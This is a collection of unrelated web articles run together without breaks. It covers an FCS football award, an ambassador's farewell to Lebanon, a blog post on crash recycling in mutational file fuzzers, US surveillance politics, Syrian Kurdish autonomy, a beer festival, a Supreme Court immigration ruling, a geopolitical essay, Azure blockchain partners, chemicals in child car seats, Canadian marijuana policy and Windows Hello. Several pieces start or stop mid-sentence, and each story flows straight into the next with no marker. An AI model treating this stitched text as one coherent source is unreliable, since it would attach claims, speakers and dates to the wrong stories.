PHILADELPHIA – North Dakota State defensive endwas named the 2014 Buck Buchanan Award winner as the top defensive player in the Football Championship Subdivision. He will accept the award Monday, Dec. 15, at The Sports Network's FCS awards banquet.Emanuel received 70 of the 160 first-place votes and 495 points from a national panel of sports information and media relations directors, broadcasters, writers and other dignitaries. Villanova junior linebacker Don Cherry had 13 first-place votes and finished second with 253 points, and Montana defensive end Zack Wagenmann was third among 25 finalists.Emanuel was one of only two players in the FCS to be named The Sports Network's national defensive player of the week twice, and he went on to collect the Missouri Valley Football Conference's defensive player of the year award. He is NDSU's first Buchanan winner and the second from the MVFC.Emanuel leads the FCS in tackles for loss (28.5) and is second in sacks (17.0). In eight games against Top 25 opponents, he has 47 tackles, 16.5 tackles for loss, 10.0 sacks and nine quarterback hurries. He ranks ninth in FCS history and fourth in Valley Football history with 33.0 career sacks, and is three sacks from tying the NDSU career record established in 1974 and 1990.A first-place vote was worth five points, a second-place vote four points, a third-place vote three points, a fourth-place vote two points and a fifth-place vote one point.Dear Lebanon,
Sorry to write again. But I’m leaving your extraordinary country after four years. Unlike your politicians, I can’t extend my own term.
When I arrived, my first email said ‘welcome to Lebanon, your files have been corrupted’. It should have continued: never think you understand it, never think you can fix it, never think you can leave unscathed. I dreamt of Beirutopia and Leb 2020, but lived the grim reality of the Syria war.
Bullets and botox. Dictators and divas. Warlords and wasta. Machiavellis and mafia. Guns, greed and God. Game of Thrones with RPGs. Human rights and hummus rights. Four marathons, 100 blogs, 10,000 tweets, 59 calls on Prime Ministers, 600+ long dinners, 52 graduation speeches, two #OneLebanon rock concerts, 43 grey hairs, a job swap with a domestic worker, a walk the length of the coast (Video). I got to fly a Red Arrow upside down, and a fly over Lebanon’s northern border to see how LAF is enforcing Lebanese sovereignty. I was even offered a free buttock lift – its value exceeded our £140 gift limit, so that daunting task is left undone.
Your politics are also daunting, for ambassadors as well as Lebanese citizens. When we think we’ve hit bottom, we hear a faint knocking sound below. Some oligarchs tell us they agree on change but can’t. They flatter and feed us. They needlessly overcomplicate issues with layers of conspiracy, creative fixes, intrigue. They undermine leaders working in the national interest. Then do nothing, and blame opponents/another sect/Sykes-Picot/Israel/Iran/Saudi (delete as applicable). They then ask us to move their cousin’s friend in front of people applying for a visa. It is Orwellian, infuriating and destructive of the Lebanese citizens they’re supposed to serve. But this frustration beats the alternative – given potential for mishap, terror or invasion, there is no substitute for unrelenting, maddening, political process.
Kahlil Gibran said ‘you have your Lebanon, I have mine’. When the Middle East was in flames, and its people caught between tyrants and terrorists, the Lebanon I will remember sent its |
.1. To me, one of the most interesting additions was the crash recycling feature. In this post, I will take a closer look at this feature and explain why I think it's so interesting.
(Hat tips to John Regehr for prompting the discussion and reddit user evilcazz for inspiring the title of this post.)
The idea behind crash recycling has been on our to-do list for a couple of years now. In fact, one of the earliest architecture sketches I drew for BFF 2.0 included it. Other features took precedent in earlier releases though, so it was just an arrow on a diagram up until a few months ago.
Meanwhile, in related research I had come across Adaptive Random Testing (ART) by Chen, Leung, and Mak. ART attempts to "distribute test cases more evenly within the input space." This prompted me to think about what mutational file format fuzzers like BFF and FOE are doing in terms of exploring the input space of a program.
I tend to think about these things in a visual way, so before I go further, it might help to set the scene. A simple way of thinking about a file as input to a program is as a string of length N bytes. Simple bytewise mutational fuzzing like that implemented by FOE's ByteMut fuzzer takes a seed file and mutates some number of bytes M, which by definition is less than or equal to N. If you're familiar with information theory, you might notice that M represents the bytewise Hamming Distance between the seed file we started with and the fuzzed file.
If we restrict ourselves to considering only the possible fuzzed files reachable by bytewise fuzzing from a starting input file of length N, we are in effect talking about an N-dimensional Hamming Space. But because file formats require some degree of structure for the program to recognize the input as sufficiently valid to process, larger Hamming Distances are typically less likely to produce useful results since they mangle the file too much.
For this reason, BFF and FOE include a feature we named rangefinder, which in our current model essentially describes a probability function on the Hamming Radius around a given seed file. Our rangefinder empirically estimates an optimal Hamming Radius for each seed file based on the number of crashes found, but in general it prefers to explore Hamming Radii in the vicinity of the seed files. The image at left shows this conceptually.
BFF 2.6 and FOE 2.0.1 and earlier were basically just exploring the Hamming Radius in the immediate vicinity of their seed files. Thus, all the crashing test cases they could find would be relatively near the seed files in the Hamming space.
But then we wondered about something. What if we started exploring the input space around the crashing test cases we found by fuzzing the crashers? Well, it turns out that it works. Really well.
For example, the following table depicts a comparison of the results of eight FOE instances running for approximately a day, fuzzing the version of ImageMagick that we include with the installer for demonstration purposes. Four machines had crash recycling enabled, four did not. The numbers in the table show the number of unique crashes found across all four machines in each cohort.
Without Crash Recycling With Crash Recycling Exploitable 233 2,203 Probably Exploitable 1 0 Probably Not Exploitable 47 51 Unknown 648 718 Total 929 2,972
But are these really unique bugs? Probably not. FOE uses Microsoft's!exploitable Crash Analyzer to produce unique bug IDs.!exploitable generates a major and a minor hash for each crash based on a fuzzy stack backtrace hash. The counts above reflect the concatenated major.minor hash tallies. However, even when we only consider the major hash of the first exception encountered (which may be more closely connected to the underlying bug), we still have 61 unique hashes with crash recycling and 49 without. The table also provides anecdotal evidence that fuzzing crashers may increase the yield of exploitable test cases.
So Why Does This Work?
We don't really know for sure yet, it's an area of active research. But here's my take on it so far:
Selecting seed input is important to mutational fuzzing since you want to maximize your exploration of the program's behaviors -- this is similar to what the ART process is trying to achieve. The key realization we made was that crashing test cases crash because they're inherently increasing code coverage of the program in some way. The fuzzed file zigs where the seed file zags, and so the fuzzed file behaves differently. But this is exactly the kind of criteria that would lead you to accept a new seed file: it exhibits behavior you hadn't previously seen in the program.
So recycling fuzzed crashers into the seed file set means you're adding files that increase code coverage. And increased code coverage opens up the doors to new branches, which can enable you to increase coverage even more.
The apparent increase in exploitability is even less well understood. It seems plausible that given an underlying bug that can trigger a range of different behaviors, your first encounter of the bug may not trigger the most exploitable behavior. So fuzzing the crashing test case is essentially exploring the behavior space nearby and is thus likely to land on one of the more exploitable examples of the bug.
Crash recycling may also exacerbate the limitations of using stack backtrace hashing to determine crash uniqueness. We have already encountered one such limit (stack corruption) which resulted in the addition of a PIN trace tool to BFF 2.7. It's possible that stack backtraces are insufficiently correlated with underlying bugs to use them for fine-grained screening of a large volume of test cases, even though we still think they make a good coarse-grained sieve for the potentially huge volume of test cases you'd have to deal with otherwise.
I'll yield the last word to Will Dormann, quoting his comment on John Regehr's blog (slightly edited for format/relevance):The federal government’s long-hidden authority to sweep up records of all phone calls made in the U.S. was repealed last year in a bipartisan vote of Congress. But President-elect Donald Trump’s choice to head the CIA has called for reinstatement of the data haul and said its elimination was part of “Edward Snowden’s vision of America.”
Snowden, a former National Security Agency contractor, revealed in 2013 that the NSA had been collecting bulk data on U.S. phone calls without a warrant for more than a decade. President George W. Bush’s administration had ordered the collection unilaterally after the terrorist attacks of Sept. 11, 2001, then obtained approval from a secret intelligence court in 2006.
The records contain so-called metadata, showing the numbers called and duration of the calls, but not the content of the messages. The law that President Obama signed in June 2015, called the USA Freedom Act, leaves the records with the phone companies but allows the National Security Agency to request data on individual customers without a court order.
Rep. Mike Pompeo, R-Kan., whom Trump named Friday as his choice for CIA director, was among a minority of House Republicans who opposed the change. In a December 2015 column in the National Review magazine, he attacked Republican presidential candidates who supported the new law.
“Those who today suggest that the USA Freedom Act, which gutted the National Security Agency’s metadata program, enables the intelligence community to better prevent and investigate threats against the U.S. are lying,” Pompeo wrote.
“Less intelligence capacity equals less safety. To share Edward Snowden’s vision of America as the problem is to come down on the side of President Obama’s diminishing willingness to collect intelligence on jihadis.”
In a January 2016 Wall Street Journal column co-authored by conservative commentator David Rivkin, Pompeo called for Congress to reauthorize collection of U.S. phone records, which would be combined with “publicly available financial and lifestyle information” into a government database.
“Legal and bureaucratic impediments to surveillance should be removed,” Pompeo and Rivkin wrote.
Neither Trump’s presidential transition office nor Pompeo’s congressional office responded Monday to inquiries about the issue. But privacy advocates predicted congressional resistance to any attempt to reinstate government authority to gather Americans’ phone records.
“This was an invasion of privacy for every single American, Americans who had never been accused of any crime,” said Neema Singh Guliani, legislative counsel for the American Civil Liberties Union. And a review by the government’s Privacy and Civil Liberties Oversight Board found that the records haul “never played a substantial role in stopping an act of terrorism or stopping a terrorist suspect,” she said.
“I think a lot of Americans would be very nervous to learn Donald Trump has access to our phone records,” said Elizabeth Goitein, co-director of the Liberty and National Security Program at the Brennan Center for Justice in New York. “It would make a lot of Congress nervous as well.”
Although Snowden, now in Russia, has been accused of wrongdoing by both Trump and his defeated Democratic presidential opponent, Hillary Clinton, Goitein said Pompeo’s attempt to discredit the former NSA contractor had misfired.
“If Edward Snowden’s vision of America is an America that doesn’t spy on Americans, I guess (Pompeo’s) right,” she said.
Because the USA Freedom Act was passed by Congress, it would take an act of Congress to repeal it. But the Trump administration could act within the law to expand data collection.
For example, said Singh Guliani, the U.S. Drug Enforcement Administration had its own program since the 1990s of collecting metadata on phone calls to and from countries associated with drug trafficking, including Canada, Mexico and most of Central and South America. The Obama administration suspended that program in September 2013 after Snowden’s disclosures, but a new administration might revive it.
Snowden also disclosed records of surveillance programs that monitored the content of phone calls to and from certain countries without court approval, programs that the Trump administration could expand, Singh Guliani said.
Goitein noted that the USA Freedom Act was compromise legislation that allowed the government to obtain not only individual records from a phone company, but also records of anyone the targeted person had called. And she said one of the law’s safeguards, requiring the secret court to publish a summary of any ruling it issues on a significant issue, allows the government to decide which issues are “significant” and what information should be withheld for security reasons.
Another privacy-rights advocate, Cindy Cohn, executive director of the Electronic Frontier Foundation in San Francisco, said Obama could have done more to adopt lasting protections against surveillance abuses.
“The Obama administration’s approach was fixing internal rules” for its own actions, Cohn said. “That leaves it really ripe for change by the next administration.” And Obama, she added, “could have taken a turn away from all this secrecy” that still envelops the programs.
Susan Freiwald, a University of San Francisco law professor who teaches courses in privacy and cyberlaw, said Pompeo and his future colleagues will have leeway to interpret the law “broadly so they may collect vast amounts of information.”
“Pompeo is promoting the discredited view that it is always good for a government to collect more data on its people,” she said.
Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @egelkoBEIRUT (Reuters) - Syrian Kurdish groups and their allies are expected to approve a blueprint for a system of federal government in northern Syria this week, Kurdish officials said, reaffirming their plans for autonomy as Russia and Turkey seek to revive diplomacy.
The aim is to cement the autonomy of areas of northern Syria where Kurdish groups have already carved out self-governing regions since the start of the war in 2011, though Kurdish leaders say an independent state is not the goal.
Increasing Kurdish influence in northern Syria has alarmed neighbouring Turkey, while the United States also opposed the federal plan first announced in March. President Bashar al-Assad also opposes federalism.
The blueprint amounts to a constitution, known as the social contract, and is expected to be approved on Wednesday or Thursday at a meeting of a 151-member council in the city of Rmeilan, according to Hadiya Yousef, who chairs the council.
“I expect ratification because we have discussed the content with all groups and political sides repeatedly, and the draft was worded with consensus,” she said in a written message to Reuters.
“We will clarify through the contract... the means for starting the formation of our institutions and administrative system, and we will start preparations for elections,” she added. The first elections would be to regional administrations, to be followed by an election to a central body.
The council, a constituent assembly which officials say includes members of all the main political, ethnic and religious groups in the area, began meeting on Tuesday.
Unilateral moves by Syrian Kurdish groups and their allies have taken place against a backdrop of international failure to promote a political settlement to a Syrian war nearing its sixth anniversary.
Russia, Iran and Turkey said last week were they were ready to help broker a peace deal in Syria after meeting in Moscow, where they adopted a declaration setting out the principles any agreement should adhere to.
Arrangements for the talks, which would not include the United States and be distinct from separate, intermittent U.N.-brokered negotiations, remain hazy, but Moscow has said they would take place in Kazakhstan, a close ally.
Iran and Russia have given Assad crucial military backing in the war against rebel groups fighting him in western Syria. Turkey has been a major backer of the rebels.
The effort to revive the diplomatic track follows the defeat of Syrian rebels in eastern Aleppo - Assad’s biggest victory of the war. The main Syrian Kurdish militia, the YPG, has mostly avoided conflict with Assad, while serving as the military backbone of the autonomous Kurdish regions.
The YPG is the dominant force in the Syrian Democratic Forces alliance that has seized swathes of territory from Islamic State in a U.S.-backed campaign in Syria.
KURDS READY TO TAKE PART IN TALKS
Another Kurdish politician said groups signing up to the new constitution were not ruling out involvement in future peace talks, but they had not been invited to a meeting in Kazakhstan.
“We are ready to negotiate in any regional or international meeting, to propose our plans and our vision for a solution in Syria,” said Fawza Ahmad, a member of the constituent council, speaking to Reuters from the meeting. She noted that Kurdish groups were excluded from previous U.N.-backed talks on Syria.
Turkey views the main Syrian Kurdish party, the PYD, as an extension of the Kurdistan Workers Party (PKK), which has waged a three-decade insurgency for Kurdish autonomy in southeastern Turkey.
Turkey launched a military incursion into northern Syria in August in large part to prevent the YPG from gaining further ground and linking Kurdish regions in northeastern Syria with a pocket of Kurdish-controlled territory in northwestern Syria.
Some 30 million Kurds are estimated to live in Iran, Turkey, Iraq and in Syria. Kurdish groups have enjoyed autonomy in northern Iraq since the 1990s.
The Kurdish name for northern Syria, “Rojava”, was dropped from the name of the proposed system of government, said Nasreddin Ibrahim, another Kurdish politician at the meeting. He said that had led 12 Kurdish parties to express reservations, but would not obstruct ratification of the document.By Conor McCreery
Ottawa-born Winter Brewfest is hitting Toronto’s Exhibition Place February 19 and 20th for the first time. A very welcome addition to the otherwise beer-festival-free month of February, Brewfest is bringing in some hard-to-find beers from Eastern Ontario and Quebec. We took a peek at the beer list, and selected four must-try breweries at the fest.
The Saturday session is sold out—but we have tickets for the night of your choice! Enter our contest at the end of this post for your chance to win. You must be 19 years of age or over.
Tooth and Nail Brewing Company, Ottawa, Ontario
One of Ottawa’s hottest new breweries, Tooth and Nail is helmed by husband and wife beer power duo, brewer Matt Tweedy, who has brewed for King and Beau’s, and co-owner Dayna Guy, who managed Toronto’s Beer Bistro. When it comes to brewing these two know what they’re doing. Don’t miss their pilsner, which Stephen Beaumont has called the best in Ontario.
What’s pouring:
Stamina, Belgian Session Ale 5.2%
Vim and Vigor, Pilsner 5.2%
Microbrasserie Charlevoix, Charlevoix, Quebec
Quebec’s Brasserie Charlevoix has been brewing beer for 16 years. Yet it has just eleven beers in its lineup — bucking the current trend of releasing new and zany bottles every few months. That’s a good thing, because every beer they make is fantastic. Try them all. If you want to know more about the brewpub, check out our profile from last year.
What’s pouring:
Flacatoune, Belgian Blonde Ale, 7%
Dominus Vobiscum Lulpulus, Belgian IPA, 10%
Ironwood Cider, Niagara Region, Ontario
Ironwood is a Niagara-Area cidery run by Sunnybrook Wines. Lakeshore fresh is dry-hopped with locally grown Willamette and Mt Hood hops, giving the cider a grassy, citrusy notes. Popping four kinds of toasted oak chips into Tres Roble imparts a silky smooth mouthfeel, with a dry, tannic, finish. You can only snag these at the orchard door, so take a beer break and sip some cider.
What’s pouring:
Lakeshore Fresh, Fresh Hopped Cider, 6.2%
Tres Robles, Oak-Aged Cider, 7.5%
5 Paddles Brewing, Whitby, Ontario
While many GTA-ers may have tried this Whitby area brewery, we have only sipped a few of their ales. Pith is brewed with the zest of 5 citrus fruits and citra hops from the 2015 harvest. We asked co-owner Spencer McCormack WTF a Royal Canadian Stout is, and he explained it as somewhere between a black IPA and imperial stout. We think it sounds pretty tasty.
What’s pouring:
Pith Girl & the Zesty Boys IPA, American IPA, 6.4%
Midnight Paddler, Royal Canadian Stout. 9.9%
Wild Card
Microbrasserie Gainsbourg, Gatineau, Quebec
We haven’t heard much about this Hull-area brewpub, but they’ve got a big list of IPAs on tap for the fest that we’re game to try.
What’s pouring:
Côte Est Série Road Trip, American IPA, 7%
Côte Ouest IPA Série Road Trip, West Coast IPA, 7%
Orange Tie-Wrap, American IPA, 7%
Double IPA Série Road Trip, Imperial IPA, 8%
Scotch Ale, Wee Heavy, 7%
Two Penny, Mild Ale, 4.7%
THE CONTEST!
Use our handy widget below to enter — there are TWO ways to enter: Enter your email address below to sign up for our monthly e-newsletter bringing you the beer news, reviews and contests. And, for a second entry, follow @BrewFestToronto on Twitter.
a Rafflecopter giveawayMedia playback is unsupported on your device Media caption Barack Obama said the decision is a "clear reminder of why it is so important for the Supreme Court to have a full bench"
The Supreme Court has announced it is split on President Barack Obama’s plan to shield millions of undocumented immigrants living illegally in the US.
The divide comes as a blow to the president's 2014 executive action which he enacted without Congress and will now be assessed in a lower court.
Republican House Speaker Paul Ryan applauded the news, saying only Congress should write laws.
But the president said the deadlock was "heartbreaking" for millions of people.
"They are Americans in every way but on paper," he said at the White House, adding that reform will happen, sooner or later.
"Congress is not going to be able to ignore America forever," he said.
Texas led 26 Republican-led states in challenging the programme, which would have given the right to work to millions of people.
The deadlock between the eight judges was only possible because of the death of the ninth, Justice Antonin Scalia, leaving a vacancy that is still unfilled.
This is the first tied decision produced by the court, as the Senate continues to block Mr Obama's nominee, Judge Merrick Garland.
Analysis - Anthony Zurcher, BBC News, Washington
The deadlocked decision in US v Texas is the clearest example to date of the impact that Justice Antonin Scalia's death has had on the US Supreme Court - and, consequently, on the direction of US public policy writ large.
The court's inability to find a majority either supporting President Barack Obama's unilateral executive action on immigration or striking it down means the whole controversy heads back into the lap of a lower-level conservative judge in Texas.
While those judicial gears slowly grind away, the US has a presidential election to conduct in just over four months.
If the Senate continues to drag its feet on confirming Mr Obama's pick for the high court, Merrick Garland, the next president could not only set US immigration policy but also pick the justice who will likely be the deciding vote if and when those decisions once again reach the Supreme Court.
Given that US voters are choosing between Hillary Clinton and Donald Trump, the disposition of the immigration issue for generations to come is in the balance. As if the stakes in the US presidential election weren't high enough already.
Media playback is unsupported on your device Media caption The US-Mexican family split by the border
The Deferred Action for Childhood Arrivals (DACA) and the Deferred Action for Parents of Americans (DAPA) initiatives had been on hold since 2015 as the court considered the programmes' legality.
DAPA was considered particularly controversial as it allows the parents of US citizens and permanent residents to remain in the county for up to three years and apply for work permits.
Lawyers for the state of Texas argued that state governments would be overburdened by having to spend more on public services with the addition of the undocumented residents.
Image copyright Getty Images Image caption Supporters of immigration reform rally in Miami during the April Supreme Court trial
Image copyright Getty Images Image caption Supporters of immigration reform decry the deadlocked ruling outside the Supreme Court
The lack of ruling leaves the legal status of about four million undocumented immigrants in limbo.
President Obama's unilateral action would have allowed migrants to obtain work permits and would block them from deportation while their citizenship status was being determined by lawmakers.
Democratic candidate Hillary Clinton called the courts deadlocked opinion "unacceptable" and said that immigrants "enrich our communities and contribute to our economy every day".
"We should be doing everything possible under the law to provide them relief from the spectre of deportation," Mrs Clinton said in a statement.
Republican lawmaker Paul Ryan applauded the Supreme Court for making "the president's executive action on immigration null and void".
"The Constitution is clear: The president is not permitted to write laws, only Congress is."
Mr Ryan, the top-ranking elected Republican, is at odds with the party's presidential nominee-to-be Donald Trump over his plans to build a wall on the southern border paid for by Mexico.
What is in Obama's plan?This piece was created in collaboration with Geopolitical Futures. George Friedman is the Founder and Chairman of Geopolitical Futures. The views expressed are the author's own.
The Crisis of Interdependence
The year 2008 is appearing to be a defining moment in history, like 1991, 1945, and 1929. It is a generational shift in the way the world works.
In 2008, the global economy underwent a massive shift away from extremely high growth that started in 1982. Part of the problem was simply the financial chicanery and miscalculations of the subprime crisis. But there was a deeper crisis. An economic boom creates vast inefficiencies, as huge amounts of surplus cash flow into the hands of people who don’t spend that money on food, clothing, and shelter, but rather invest it to make more money. Most of the time this works, as the investment, with decisions made by individuals rather than the state, generates wealth and jobs.
But toward the end of a cycle, two things happen. Opportunities for quality investment decline and productivity falls. The early advances that drove innovations (railroads, radio, the personal computer) lose their explosive growth capacity as they turn from game-changers into commodities with trivial value. At that point, the opportunities for prudent investment decline. Investors have a great deal of money, but money alone doesn’t generate high productivity.
The result is an intense search for investment opportunities. Since there are few, mere speculative opportunities that would usually get passed over start to appear as investment opportunities. The search for prudent investment created the subprime crisis. The assumption was that housing was an absolutely safe investment. Home prices always rise. Investing in mortgages was a conservative investment, and investing in the more exotic derivatives of mortgages was prudent and produced a handsome return. The core assumption -- that home prices would always rise -- proved incorrect. But at its root was not the financial snake oil salesman, but conservative investors wanting a place to invest safely in an environment where safe investments had become hard to find. The snake oil salesman simply took advantage of the natural greed in us all, promising vast riches at no risk.
A slow, unavoidable, and global march
What occurred in 2008 was a massive decompression of the system. The subprime crisis was the trigger. Excess capital without promising investment was the problem. Capitalism is not kind, but it is efficient, and that excess capital was destroyed to such a degree that the state had to invent cash to cushion the immolation of capital. Instead of an explosive decompression as happened in the United States in 1929, there was an explosion, but it eased itself into a longer-term decompression.
That decompression meant investors were suddenly more cautious and without investment capital. Then came an extended period in which the consequences of the event began playing out. Since it was a massive event, it has been playing out for a long time. A reasonable assumption is that a generation-long boom will be replaced by generation-long systemic dysfunction. The pressures must balance out over time.
This is not the first time this has happened, but there was something unique in it. Since the 1980s, nations and economies have grown substantially more interdependent. This was cheered wildly as it happened, but what it created was a forest fire with no fire breaks. Interdependence in production and consumption -- international trade coupled with the consequences of financial dislocation -- was not confined to any one country. It became a global phenomenon. The irrationality of the idea that free trade and the free flow of money is essential to economic wellbeing was that any failure of the system meant that there was no place to hide. If everything rose together, everything fell together as well. Economic exuberance had its twin brother in ideological exuberance. There were few places that could protect themselves from the consequences of the economic shift, and all of humanity suffered simultaneously. It has not been the deep and wide agony of the 1930s, but a long period of dysfunction instead.
The dilemma of interdependence could be seen most clearly in international trade. Ideologically, the strongest exporters were the most efficient economies. They were also the most vulnerable to any systemic failure. When the United States and Europe could no longer purchase goods at the same rate as before, China, an export giant, bore the brunt. When it became clear in the slow evolution of things that China would not recover, the producers of the industrial commodities that China had needed in order to satisfy Europe and America were staggered as prices for oil and other commodities plunged. Australia, Saudi Arabia, and Russia were affected, among many others. Still others waited in the wings, countries such as Germany and South Korea, both of which export almost half of their gross domestic product to a sluggish and even contracting global market. In a slow but unavoidable march, everyone has been paying a price for globalization, and it is not over yet. The strongest economy, the U.S., exports the least among major economies as a percentage of its GDP. And since much of that goes to Canada and Mexico, the limited ability to avoid excessive interdependence has cushioned the blow.
I have been talking about nations as a whole, but a crucial dimension is that people within nations experienced these events differently. The wealthy lost a great deal after 2008. But what they lost was investment capital, not rent money. The blow for most was not existential. It did not change their lives. For those who used their money for consumption, the impact was substantial. As the trade crisis spread, people lost their jobs, and those who found new jobs were being paid a fraction of their previous salary. 2008 had a different impact on average citizens. But political control remained in the hands of the investor class, which had organized its thinking around the ideology of interdependence. It remained focused on the stability of the financial system rather than the surge in unemployment, underemployment, and the public’s loss of buying power. This played out differently in different countries, but it played out almost everywhere.
Outcomes logical and political
The financial crisis became an economic malaise. The economic malaise created a social crisis. The social crisis generated a global political crisis. The class that had absorbed the existential blow of 2008 turned on the elite and their values. The elite, focused obsessively on their interests and ideology, failed to notice the revolt. Donald Trump in the United States, Brexit in Britain, and numerous parties throughout the European Continent challenged the orthodoxies of interdependence and the pre-eminence of the interests of the financial class. This class and its allies were completely unprepared for a fundamental challenge to the pre-2008 orthodoxies. They were struggling to return to those halcyon days. Their challengers sensed that there was no going back and sought a completely different paradigm that appeared to be witless to the elite. But then the elite appeared brutally indifferent to any interests outside their own.
The political upheaval was not confined to Euro-American society. It can be seen in the evolution of regimes into dictatorships, determined to retain the personnel in power. Russian President Vladimir Putin and Chinese President Xi Jinping are the great examples of this. As they shift to a more repressive stance, attacking their own financial elite, they gain popularity and power. Rather than a Trump or a Brexit emerging from the bottom, their intention is to appropriate the movement to enhance their power. This process of co-optation can be seen in Saudi Arabia and Turkey as well.
The issue that 2008 has raised is the importance of nations and the primacy of a national leadership to protect the interests of the nation as a whole, and not the global system or the interests of the financial community. The re-emergence of nationalism is the logical outcome of the failure of interdependence. Part of the assumption of the pre-2008 ideology was that aggregate economic growth benefits everyone. Post-2008 ideology believes that stagnation is paid for by the middle and lower classes. This leads to a political showdown.
It also creates a situation where maximizing growth is not the primary interest. If the economy grows at 10 percent, but you are unemployed, your self-interest lies not with maximal growth. If those above median income benefit from 10 percent growth but those below see their ability to consume contract, the conclusion is obvious. It is possible that free trade, for example, benefits the economy as a whole, but that the benefits flow to the top and the costs are absorbed below. In this case, someone earning below median income will vote for someone prepared to sacrifice aggregate growth in the long run for higher incomes below the median for the next 20 years. That is precisely what the argument against the pre-2008 ideology is saying. Free trade may benefit the economy as a whole, yet devastate a class. That class will accept lower growth to avoid the consequences of lower wages. For the pre-2008 ideology, this view is incomprehensible. But it has become the prevailing ideology of roughly half of Euro-American society.
A new ideology has emerged. It is not yet in power, but it is growing. It argues that the nation-state controlling and limiting its dependence is superior to interdependence. It also argues that the nation-state provides benefits that globalism cannot: a sense of community, the preservation of culture, a sense of self. This argument says that humans without a nation are humans without a community. They are alone, lonely, and helpless. And at the root is the argument that there are more important things than money.
In this context, the Euro-American opposition to immigration can be understood. There is a growing rejection of interdependence, and that is not only a trade issue, but a question of the preservation of the nation. A massive influx of immigrants, particularly illegal immigrants, is a danger to the lifeboat that was left after 2008 -- the nation-state, the people I know and whose fate I share. Hostility toward immigration is simply one minor dimension of a massive shift in values and beliefs.
The elite condemns this as racist. Whether it is or is not, it is the response to the dominant ideology after 2008. The repercussions of 2008 have been milder and slower in coming than in 1929. But that has ground down the system all the more dramatically.
The world after 1929 changed and was never the same. That is true today. All regimes have shifted the way they operate, most democratic elites have been stunned by the changes, and their contempt for the incivility of their challengers is not enough to maintain the status quo.Microsoft said today that it is adding blockchain startups CoinPrism, Eris Industries & Factom to the Azure Blockchain-as-a-Service (BaaS) program.
Ripple and Ethereum developer ConsenSys are already members of the Azure BaaS ecosystem.
Marley Gray, Microsoft’s Director of Technology Strategy – US Financial Services, commented:
The response to the Azure BaaS offering for partners and customers has been compelling and we have formed a line onboarding new partners and customers into the staging area awaiting the official launch of the category in the Azure Marketplace. Even though the Marketplace category is taking awhile to stand up, the offerings are still available in the staging area (search for “bloc” and most of the blockchain offerings will show up).
Eris Industries provides a platform for industrial applications of smart contract technology. The company’s blockchains are permissionable, logic optimized blockchains which run EVM compatible blockchains within a permissioned blockchain network.
CoinPrism is developing OpenChain, an open source distributed ledger technology suited for organizations wishing to issue and manage digital assets in a robust, secure and scalable way.
Factom is using blockchain technology to simplify records management, record business processes, and address security and compliance issues.
CoinPrism described how Openchain will be an offering on Azure:The very seats designed to provide safety for small children have been found to be at risk for containing toxic chemicals, according to an updated study released today by Healthystuff.org. Still, despite the concerns raised by this study, using a properly installed child safety seat is the best way to transport a child by car. We’ll explain…
None of the seats evaluated by the Michigan-based Ecology Center in this study were found to be free of potentially harmful chemicals. In fact, 11 out of 15 seats contained halogenated flame retardants. The disconcerting chemicals are often added as flame retardants to the seats to meet federally mandated flammability requirements of the vehicle interior. What’s important to know, however, is that those same foams are key to absorbing energy in a crash and protecting your child from injury.
The concerns stem from the detection of chemicals like bromine and chlorine, which are used in some flame retardants. Such halogenated flame retardants have been linked to a variety of health issues. In addition, many are considered persistent (they don’t break down to something safer over time) and bioaccumulative (they build up in your system).
One such chemical, a carcinogen known as chlorinated tris, was found in two seats. It was removed from children’s pajamas many years ago. Though it is prohibited in many states, it is still in use elsewhere. This and other flame retardants can be released from the foams and fabrics of products through regular use. They settle into the air and, in particular, the dust in the vehicle.
Though chemicals like bromine and chlorine detected as indicators of the flame retardants are a concern, perhaps even more troubling was the presence of heavy metals like lead and chromium in a small number of the tested child seats. Those present more clearly documented health risks, and are limited by Consumer Product Safety Commission (CPSC) standards for use in other child products. Children may also be exposed to similar flame retardants and chemicals in furniture, carpets, and other child products.Prime Minister Stephen Harper answer questions during a Vancouver news conference Friday. (CBC) Prime Minister Stephen Harper says his government will never agree to the decriminalization of marijuana.
Harper's comments came Friday in Vancouver in response to a question at a brief news conference following an event at a downtown science centre.
"No, it will not happen under our government," Harper said. "We're very concerned about the spread of drugs in the country and the damage it's doing and as you know we have legislation before the House [of Commons] to crack down."
This week, four former Vancouver mayors endorsed the Stop the Violence Coalition, which is comprised of former police officers, a judge, medical leaders and B.C.'s former chief coroner.
The coalition's founding principle is that regulation and taxation of marijuana would stop most of the violence associated with the drug trade and make pot less accessible to children.
Current Vancouver Mayor Gregor Robertson has said he agrees with the coalition's goals.
"We see the impact on the streets. We see the gang activity that's largely funded by the marijuana trade, a huge industry here in B.C.," Robertson said. "There's no tax revenue flowing from [it], so I think it's time for reform."
Protester's bike damaged
About 60 protesters gathered outside the science centre during the prime minister's visit, but tight security kept them at bay.
There were no injuries or arrests, but one protester's bicycle was damaged as the van carrying Harper was being driven away from the morning venue.
"My wheel has been taco-ed," said Holly Hendrigan.
Another protester, Mathew Cagis, said he saw what happened.
"As soon as the van went by, I heard the crunch and grind," Cagis said.
A man in street clothes, who identified himself as an RCMP officer, stepped forward and said the bike would be repaired.
"We will take care of it. I just need your name and phone number, ma'am. I apologize for that," the officer said.
Hendrigan asked if the prime minister had a bike repair person in his entourage.
"We will do what needs to be done to make it right," the officer said.
Renovation funding
Earlier, Harper and B.C. Premier Christy Clark announced the federal and provincial governments are each contributing $10.5 million to the $35-million renovation and expansion of the science |
what extent the Windows Hello technology would be supported in Windows 10, Terry Myerson, executive vice president for the Windows platform group at Microsoft said at WinHEC and in a blog post that all OEMs have agreed to support it.
Windows 10 will be available in 190 countries and 111 languages when it launches, according to Myerson. Obviously that's a wide window given it can arrive anytime between June 21 and Sept. 20. But the expedited release may suggest that Microsoft doesn't want to miss this year's back-to-school season, a time many students buy new systems. If that's the case, it will need to come in June or July, rather than late September.
The big question an earlier-than-expected release raises: is Microsoft looking to rush Windows 10 out the door too soon and will it come out feature-complete? Meanwhile, there are many new features testers have yet to see, such as the new browser component called Spartan and yesterday's reveal: Windows Hello. Joe Belfiore, corporate vice president for Microsoft's operating systems group unveiled Windows Hello at WinHEC, which he said provides system-level support for biometric authentication, including fingerprint and facial recognition as a replacement for passwords.
Hello isn't the first effort to bring biometrics to Windows PCs. Makers of PCs have offered fingerprint scanners on a small selection of their PCs for years now. But few used them and most devices today have done away with them. This time, it looks like Microsoft is aiming for biometrics that will be pervasive in Windows 10 devices. "We're working closely with our hardware partners to deliver Windows Hello-capable devices that will ship with Windows 10," Myerson said. "We are thrilled that all OEM systems incorporating the Intel RealSense F200 sensor will fully support Windows Hello, including automatic sign-in to Windows."
